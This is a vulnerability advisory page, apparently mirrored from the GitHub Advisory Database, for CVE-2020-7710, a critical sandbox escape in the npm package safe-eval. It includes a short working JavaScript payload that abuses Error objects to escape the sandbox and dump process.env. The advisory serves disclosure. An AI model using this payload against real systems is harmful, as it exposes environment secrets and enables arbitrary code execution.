Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhycHEtcjM5OS13aGd3

Sandbox Breakout / Arbitrary Code Execution in safe-eval

All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.

Evaluating the payload

(function (){
  var ex = new Error
  ex.__proto__ = null
  ex.stack = {
    match: x => {
      return x.constructor.constructor("throw process.env")()
    }
  }
  return ex
})()

prints the contents of process.env.

Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.

Permalink: https://github.com/advisories/GHSA-hrpq-r399-whgw
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhycHEtcjM5OS13aGd3
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: over 3 years ago
Updated: 8 months ago

CVSS Score: 9.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Identifiers: GHSA-hrpq-r399-whgw, CVE-2020-7710
References:

• https://nvd.nist.gov/vuln/detail/CVE-2020-7710
• https://github.com/hacksparrow/safe-eval/issues/19
• https://snyk.io/vuln/SNYK-JS-SAFEEVAL-608076
• https://www.npmjs.com/advisories/1322
• https://github.com/advisories/GHSA-hrpq-r399-whgw

Repository: https://github.com/hacksparrow/safe-eval
Blast Radius: 33.7

Affected Packages